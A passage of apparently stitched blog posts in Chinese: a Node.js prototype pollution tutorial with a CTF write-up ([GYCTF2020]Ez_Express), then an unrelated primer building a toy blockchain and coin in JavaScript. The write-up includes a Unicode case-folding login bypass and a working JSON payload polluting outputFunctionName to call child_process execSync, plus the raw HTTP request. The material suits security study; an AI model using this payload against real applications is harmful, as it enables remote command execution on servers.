Nodejs原型链污染
Nodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。 那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。 原型对象(prototype)与原型连接点(__proto__)与原型链 在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。 person=new Object() person.firstname="John"; person.lastname="Doe"; person.age=50; person.eyecolor="blue"; 这种创建对象的方法还有另一种写法 如下 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"}; 这种方法通过直接实例化构造方法Object()来创建对象function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器 {    this.firstname=firstname;    this.lastname=lastname;    this.age=age;    this.eyecolor=eyecolor; } var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象 var myMother=new person("Sally","Rally",48,"green"); 这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释 既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢? 对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程) function Object() { } 在底层为 var Object = new Function(); 那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。 那么提到了__proto__和prototype我们就来说说这两个是什么东西。 首先我们要了解以下概念: __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性 比如 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"}; 那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。 1.某一对象的 __proto__指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。 2.JavaScript使用prototype链实现继承机制。 3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype。 4.Object.prototype.proto最终指向null,这也是所有原型链的终点。 5.从一个对象的__proto__不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。 如果我们有如下代码: function Father() {    this.first_name = 'Donald'    this.last_name = 'Trump' } function Son() {    this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`) 那么按照上述说法 就有如下结构 对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作: 在对象son中寻找last_name。 如果找不到,则在son.__proto__中寻找last_name。 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。 依次寻找,直到找到null结束。 原型链污染 举个栗子 // 这个对象直接实例化Object() let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar) 这里由于修改了foo.__proto__.bar 也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。 在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢? 我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。 看下面代码,一个简单的对象clone: function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {              // 如果target与source有相同的键名 则让target的键值为source的键值            merge(target[key], source[key])       } else {            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值       }   } } let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__被成功解析成键名了。 let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 漏洞复现 [GYCTF2020]Ez_Express 进入环境之后是一个登录页面,测试之后发现存在http://www.zip源码泄露,开始审计index.js var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } }  return a } const clone = (a) => {  return merge({}, a); } function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword }  return undefined } router.get('/', function (req, res) {  if(!req.session.user){    res.redirect('/login'); }  res.outputFunctionName=undefined;  res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) {  res.render('login'); }); router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")   }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   }    res.redirect('/'); }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;   }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")   }   }  res.redirect('/'); ; }); router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router; 看下面两段代码 function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword }  return undefined }router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")   }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   }    res.redirect('/'); }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;   }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")   }   }  res.redirect('/'); ; }); 只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。 再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。 if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 所以用ADMıN来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。 这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。 const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } }  return a }const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } } 往下看找到调用clone的位置 router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); 也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。 看到这段: router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); }) render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload? 但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码: router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); 发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__从而达到目的。 req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   } SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}} 污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。 POST /action HTTP/1.1 Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY Content-Type: application/json Connection: close Content-Length: 137 {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}} 在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。
区块链安全前传之从Web3.0到创造自己的数字货币
互联网发展的三个阶段 web1.0 静态页面,内容只能供用户去阅读,类似于在网络上读报纸或者看书。 web2.0 动态互联网,实现用户之间的互动,比如twitter,facebook,titok等。 web2.0中厂商用免费或极低的成本吸引用户,通过获取到用户的信息来推流广告从而获得利润。 打个比方就是 厂商在一片地上种了很多草,吸引羊来吃,趁着羊吃草的功夫把羊身上的毛薅下来拿去卖钱,而羊自己并不在意这些毛,可以说是一种双向互利的方式。 web3.0 web3.0是一个很模糊的概念,随着区块链技术的发展,基于区块链的web3.0诞生。 接着用上面的例子来说,随着web2.0的发展壮大,稀缺的不再是草,而是羊毛,也就是用户身上的数据。那么羊毛的重要性愈加突出,所以提出web3.0的概念,也就是拥有自己的一片空间,别人无论如何都无法修改,也就是将羊毛(数据)存放在了一个非常安全的地方中,相比于web2.0,不但实现了动态的交互,也实现了数据的“拥有”。 web3的概念非常模糊,可以说是一个大方向,按照我个人的理解可以说是在互联网创造了一个虚拟的世界,这个虚拟的世界拥有和现实世界一样的货币交易系统以及其他体系,能够自主维持运转的这样一个“虚拟生态系统”,而这个生态系统的生存法则就是“去中心化”。 什么是去中心化? 比如现在市面上的app都由一个厂家负责,厂商可以随意删除控制用户数据,形成了以厂商为中心的服务体系,去中心化就是没有中心厂商作为核心,而是所有用户形成一个能够自力更生的体系。 密码货币 随着web2.0发展,数字货币使用越来越多,而在区块链技术的支持下,数字货币也出现了全新的存在形式,去中心化的密码货币,世界上第一种密码货币就是比特币。像纸币有防伪印一样,密码货币通过密码学的散列计算出的hash值并且和智能合约进行绑定,密码货币基于去中心化的机制,与依赖中心监管体系的银行金融系统相对。之后出现的数种密码货币被创造,它们通常被称为altcoins。 区块链 区块链的防篡改机制一个区块中储存了三样东西:数据,前一个区块的hash值,自身的hash值(由数据和前一区块的哈希值共同决定),如果要更改某一区块的内容,那么该区块(a区块)的hash值就会改变,下一区块(b区块)储存的a区块的hash值无法对应a区块当前哈希值,那么这两个区块间的链接就会断开。 如果想要篡改某一区块的数据,我们就要将这一区块以及后续所有区块的hash值进行重算,比如一条区块链里面有abcde五个区块,当我们篡改了b区块的数据,那么我们就要带着b区块的新hash值和c区块的数据重新计算出c区块的新hash值,然后再带着c区块的新hash值和d区块的数据重新计算d区块的新hash值,再带着d区块的新hash值和e区块的数据重新计算e区块的hash值…………………..其实在重新计算某一区块的hash值的过程也就相当于创造了一个新的区块,因此篡改一个区块以及后续区块所需的时间取决于创造一个区块所需要的时间。 这个看起来对算力要求似乎非常庞大,但是现代计算机其实是可以做到这一点的,如果我们有一台超大算力的计算机,那么是不是轻松就可以改变区块链的内容了?为了防止这种情况的出现,区块链加入了工作量证明机制(proof of work)简称 pow 我们用游戏举例说明一下pow,我们刚才说到用超大算力计算机来篡改区块链,这就好比你拿着满级神装在新手村乱杀,区块链是不允许这种情况出现的,因此它会上调怪物属性,也就是会增加创造一个区块所需的难度,使每一新区块被创造时都保持在十分钟左右(当然这个时间是可以更改的),因此即使是一台超高算力的计算机想要篡改一个区块所需的时间仍然是 创造一个区块的时间✖️n min。 那我们所说的挖矿是什么呢?上面提到的情况是想要篡改区块中的数据,那么我没有恶意,我只是单纯的创造区块去给自己或者他人使用,这个创造区块的过程牺牲了我电脑的算力和一些其他资源,所以作为补偿,创建区块的人会得到密码货币的奖励,这就是我们所说的挖矿。 区块链的点对点网络结构 在传统的web服务中,传统的链接对象基本都是客户端和服务端,众多客户端访问一个服务端来进行交互,而在区块链的点对点网络结构(peer to peer)中,不再有客户端与服务端的概念,每一个节点间相互平等,并且包含完整的区块链数据存储,也就是说每一个节点中都储存了整个区块链网络中的所有信息,这样即使一个节点出现故障,其他所有节点也在帮他记录信息,这些记录了所有节点区块链的节点叫做全节点,当然也有只储存了自己信息的轻节点,比如区块链用来储存转账记录,那么每一节点都储存了所有节点之间的转账记录,每一节点储存的内容也是相同的,如果某一节点与其他节点出现差异,那么该节点或许就有被篡改过的可能了,但是被篡 点对点网络结构下的所有节点拥有判断区块是否被篡改的能力,当一个新区块想要加入某一节点的区块链时,该节点会向其他所有节点进行广播,所有的节点进行判断,如果50%以上的节点都认为该区块没有被篡改,那么这个区块就可以成功的加入区块链当中,反言之如果想要篡改某一区块的数据,你首先要将这一区块后的所有哈希重新计算,并且还要更改超过百分之五十节点的这一区块后的所有区块的哈希,那么就要拥有超过全网50%以上的算力才可以,这付出的代价是相当高的,这就是区块链网络系统的少数服从多数原则。 DAPP Dapp 是什么? APP (Application) 指的是手机里的应用程序,像是微信、微博、抖音…等都是日常生活中常会使用到的 App。 而 Dapp 的全名为去中心化应用程序(Decentralized Application),是建立在区块链系统网络上,所提供的服务都具有公开透明、不可篡改的特性。 以下是 Dapp 所具有的要素: 1. 代码开源:程序代码皆公开透明,任何人都可以查阅及审核,避免项目方说到没做到。 2. 分布式帐本:降低数据遗失的风险,且没有任何其他第三方有权能够窜改数据。 3. 数据所有权:除本人(私钥持有者)外,任何人皆无法动用该帐号的数据。 为什么 Dapp 会崛起? 事实上,App 都是中心化的应用服务,用户所使用的数据都会存储在单一服务器系统里,代表公司能掌控用户的所有数据,但相关问题也随之浮出水面。 数据所有权归属问题 用户在 App 上的个人资料、搜索浏览纪录等信息都会存储在中心化系统的服务器里,这也意味着软件公司能够借由这些数据来营利。 也导致像是微博、抖音等企业,能透过搜集的用户数据来投放广告,并借此获利。等于企业能用你的信息来赚钱,但你却分不到任何好处,甚至还可能受到影响(例如被疯狂投放广告、或个人资料被平台外泄)。 另外,传统手游的游戏道具、帐号数据也都属于公司所有,一旦宣布停止营运,这些资产也会随着官方服务器关闭而消失。 但在 Dapp 中,你的游戏道具、帐号都会以 NFT 形式储存在链上,因此只要区块链不倒,你就能持续拥有这些资产。换句话说,Dapp 能够让数据的所有权回归到用户身上。额外提醒,虽然你仍拥有这些资产,但可能会因为游戏已经关闭,导致这些资产的现值趋近于零,你能保有的仍以回忆居多。 过度中心化 App 是由中心化服务器来进行管理,因此企业有时可以专断独行,但用户却没有任何反制的手段:例如可以随意植入广告,或是删除用户的内容、帐号。 而 Dapp 的数据都存在区块链上,因此项目方没办法任意删除用户资料,目前也没有任何广告植入的问题(但不确定未来是否会有项目开始植入广告)。 由于上述几点原因,也让许多人开始对传统的 App 感到不满,于是就有人打算通过区块链“去中心化”的特性来研发能解决上述问题的 App,于是 Dapp 就此诞生。 不过同时也要注意,不是每个 Dapp 都一定符合公开、去中心化的规范,例如 Opensea 就能下架用户的 NFT 和限制用户登陆。 Dapp 与 App 的差异 App 的应用服务是使用中心化服务器,代表软件公司必须要承担存储用户的数据量的营运成本,否则将无法持续地运行。 例如抖音服务器的成本就百万以上,因此必须想办法创造各种营收管道来支持各项支出,像是通过大数据将广告推广到潜在用户面前,借此吸引更多广告商进驻。 而 Dapp 是建立在区块链上,用户在链上进行交易、换币等行为时,是需要自行负担手续费(Gas 费)的,也就代表开发商的运营成本会比传统 App 来得更低(不过有些开发商为了吸引用户,会帮用户负担使用时的手续费)。 智能合约 智能合约,是一段写在区块链上的代码,一旦某个事件触发合约中的条款,代码即自动执行。也就是说,满足条件就执行,不需要人为操控,类似于传统web的后端代码。 简单区块链实现 我们用Javascript来手写一个建议的区块链出来,其实和写一个链表很像: const sha256 = require('crypto-js/sha256') Date = new Date() class block{    constructor(data,time,previousHash) {        this.data = data        this.time = time        this.previousHash = previousHash        this.myHash = this.currHash()   }    currHash() {        return sha256(this.data + this.time + this.previousHash).toString()   } } class blockCahin{    constructor()   {        this.chain = [this.createBlockchain()];   }    createBlockchain()   {        return new block("Genesisblock",Date.toLocaleString(),0o0000000)   }    getLatestblock()   {        return this.chain[this.chain.length - 1]   }    addBlock(newBlock)   {        newBlock.previousHash = this.getLatestblock().myHash        newBlock.myHash = newBlock.currHash()        this.chain.push(newBlock)   } } BlockChain = new blockCahin() BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything")) console.log(BlockChain) 接下来我们用代码实现一下简易的POW: const sha256 = require("crypto-js/sha256") function proofOfwork(){    let seed = "y1zh3e7"    let x = 1               // x为自增变量    while (true){        if(sha256(seed + x).toString().substring(0,4) != "0000") // 定义难度,比如我现在要求通过不断自增x去计算seed+x的哈希值       {                                                        // 当哈希值前四位都为0000时则代表成功 如果想提高难度我们就可以让前x位为xxxx            x += 1       }else{            console.log(sha256(seed + x).toString())            break       }   }    console.log(x)                                              // 输出计算多少次后成功 } proofOfwork() 实现防篡改机制: /*********************************************** 验证区块链防篡改需要检测两项:                                     1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } 将完整的POW整合到区块链当中并实现挖矿功能,最终实现的完整区块链: const sha256 = require('crypto-js/sha256') Date = new Date() class block{    constructor(data,time,previousHash) {        this.data = data        this.time = time        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    calcHash() {        return sha256(this.data + this.time + this.previousHash + this.nonce).toString()   }    /** **/    getAnswer(difficulty){        let answer = ""        for(let i=0; i<difficulty; i++)       {            answer += "0"       }        console.log(answer)        return answer   }   /** 引入挖矿功能 **/    mine(difficulty){        let answer = this.getAnswer(difficulty)        let Hash = this.calcHash()       while(true){            if (Hash.substring(0,difficulty) != answer)           {                this.nonce++                Hash = this.calcHash()           }else{                break           }       }       console.log("mine successful!")       console.log(this.nonce)       return Hash   } } class blockCahin{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 5   }    createBlockchain()   {        return new block("Genesisblock",Date.toLocaleString(),0o0000000)   }    getLatestblock()   {        return this.chain[this.chain.length - 1]   }    addBlock(newBlock)   {        newBlock.previousHash = this.getLatestblock().myHash        newBlock.myHash = newBlock.mine(this.difficulty)        this.chain.push(newBlock)   } } /*********************************************** 验证区块链防篡改需要检测两项: 1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } BlockChain = new blockCahin() BlockChain.addBlock(new block("this is a test",Date.toLocaleDateString(),"anything")) // console.log(BlockChain) // BlockChain.chain[1].data = "数据篡改" // BlockChain.chain[0].myHash = "0012343566688" // console.log(validateBlock(BlockChain)) 数字货币的简单实现 比特币 我们前面说到区块链是用来记录信息的,如果它记录的是转账记录那么它就成了一个账本。 一笔转账信息需要以下四个信息: 付款人 收款人 转账金额 转账时间 我们前面提到了POW,比特币会通过POW将产生一个区块的时间控制在十分钟左右,比特币的工作机制基本如下: 整个区块链是一个网状的网络结构,其中有一个中心,每十分钟发布一个问题(类似于我们之间生成的目标Hash),当问题发布后,该网状网络中的所有结点会来解这个问题(挖矿,爆破目标Hash值),此时就是各结点间的算力比拼,当有一个结点解出该问题后则代表挖矿成功,一个新区块被创造出来,这时该新区块内会自动生成一笔转账记录,其中的收款人就是该区块的挖出者,这时区块链就会自动把奖励发放到收款人的账户上,并且该区块会在整个区块链网络中进行广播,区块链中的每一个结点会对该区块进行验证其合法性,经过验证后该新区块就会被加到区块链上。每四年比特币的奖励会减半一次,最后的比特币总量大约是在2100万个左右。 那么这里会有一个问题,如果过了几年之后,比特币越来越少,每次挖矿后几乎得不到比特币了,那还会有人来挖矿吗? 其实比特币只是比特币区块链中的一个额外奖励机制,整个区块链货币依赖的是每一笔转账记录的手续费,当一个新区块被挖出时那么这个新区块的转账信息(我们刚才说到的比特币奖励机制)就会记录在这个新区块上(以转账的方式发放奖励货币),后续也会记录其他的转账信息,并且会产生手续费,手续费归记录该笔转账信息的区块的挖出者所有。 说到动态调整难度,比特币是怎么调整的呢? 比特币会在每2016个区块诞生后验证一下难度,如果说本来预期中mine这2016个区块所需要的时间是两个星期,而实际只用了一个星期,那么此时比特币区块链就会调整难度,使其达到预期,基本上比特币区块链会每两个星期调整一次难度。 创建自己的数字货币 首先我们要新建一个Transaction类来进行转账记录: class Transaction{    constructor(from, to , amount) {        this.from = from        this.to = to        this.amount = amount   } } 更改区块中data的含义,此时要记录的是转账信息transaction,并且由于transaction是一个对象,因此在参与计算哈希时要转为字符串(这里将时间改为了Date.now,这样在区块创造时就记录了这笔转账记录的时间): class Block{    constructor(transaction,previousHash) {        this.transactions = transaction        this.time = Date.now()        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    // 计算hash时要将data转换为字符串类型,此时的data是一个transaction    calcHash() {        return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()   } 上面说到奖励货币的发放是通过转账的方式实现的,所以我们在链上实现逻辑: class blockChain{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 5        this.transactionPool = []  //挖矿成功的转账信息        this.mineReward = 50       //每次挖矿成功的奖励货币数   } mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)   } 之前我们是在外部传入一个区块,在整个货币系统的实现后区块应该是在挖矿时在区块链内部产生的,修改代码: //将Transaction添加到Transaction Pool中    addTransaction(Transaction)   {        this.transactionPool.push(Transaction)   } mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)        //挖矿        /********************************************************         * 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储         * 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction         * 我们这里先不考虑这种情况         *******************************************************/        const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)        newBlock.mine()        //添加到区块链,并清空Transaction Pool        this.chain.push(newBlock)        this.transactionPool = []   } 整个写好的数字代币: const sha256 = require('crypto-js/sha256') class Transaction{    constructor(from, to , amount) {        this.from = from        this.to = to        this.amount = amount   } } class Block{    constructor(transaction,previousHash) {        this.transactions = transaction        this.time = Date.now()        this.nonce = 1        this.previousHash = previousHash        this.myHash = this.calcHash()   }    // 计算hash时要将data转换为字符串类型,此时的data是一个transaction    calcHash() {        return sha256(JSON.stringify(this.transactions) + this.time + this.previousHash + this.nonce).toString()   }    /** 获取相应难度hash **/    getAnswer(difficulty){        let answer = ""        for(let i=0; i<difficulty; i++)       {            answer += "0"       }        return answer   }   /** 引入挖矿功能 **/    mine(difficulty){        let answer = this.getAnswer(difficulty)        let Hash = this.calcHash()       while(true){            if (Hash.substring(0,difficulty) != answer)           {                this.nonce++                Hash = this.calcHash()           }else{                break           }       }       console.log("mine successful!\n")       console.log("计算"+this.nonce+"次后挖矿成功,answer为"+Hash)       return Hash   } } class blockChain{    constructor()   {        this.chain = [this.createBlockchain()]        this.difficulty = 4        this.transactionPool = []  //挖矿成功的转账信息        this.mineReward = 50       //每次挖矿成功的奖励货币数   }    createBlockchain()   {        return new Block("Genesisblock",null)   }    getLatestBlock()   {        return this.chain[this.chain.length - 1]   }    //将Transaction添加到Transaction Pool中    addTransaction(Transaction)   {        this.transactionPool.push(Transaction)   }    mineTransaction(minerAddress)   {        const minerRewardTransaction =  new Transaction('', minerAddress, this.mineReward)        this.transactionPool.push(minerRewardTransaction)        //挖矿        /********************************************************         * 这里新区块记录了整个区块链的转账信息,但在实际情况中区块的存储         * 容量是有限制的,所以在挖矿时记录的转账记录会选择手续费最高的transaction         * 我们这里先不考虑这种情况         *******************************************************/        const newBlock = new Block(this.transactionPool,this.getLatestBlock().myHash)        newBlock.mine(this.difficulty)        //添加到区块链,并清空Transaction Pool        this.chain.push(newBlock)        this.transactionPool = []   } } /*********************************************** 验证区块链防篡改需要检测两项: 1.重新计算区块的hash值,判断与区块中储存的hash是否相同 2.判断当前区块的previousHash是否和上一区块的hash相同 ***********************************************/ function validateBlock(validBlockchain){    if (validBlockchain.chain.length == 1)   {        if(validBlockchain.chain[0].myHash != validBlockchain.calcHash())       {            console.log("数据篡改")            return false       }   }else {        for (let i=1; i<=validBlockchain.chain.length-1; i++)       {            if(validBlockchain.chain[i].myHash != validBlockchain.chain[i].calcHash())           {                console.log("数据篡改")                return false           }            if (validBlockchain.chain[i].previousHash != validBlockchain.chain[i-1].myHash)           {                console.log("前后区块链断裂")                return false           }       }   }    console.log("数据无篡改且区块链结构完整")    return true } Y1Coin = new blockChain() const Transaction1 = new Transaction('add1', 'add2', 20) const Transaction2 = new Transaction('add1', 'add2', 5) Y1Coin.addTransaction(Transaction1) Y1Coin.addTransaction(Transaction2) Y1Coin.mineTransaction("add3") console.log(Y1Coin) console.log(Y1Coin.chain[1].transactions)
[西湖论剑2022]Misc-机你太美
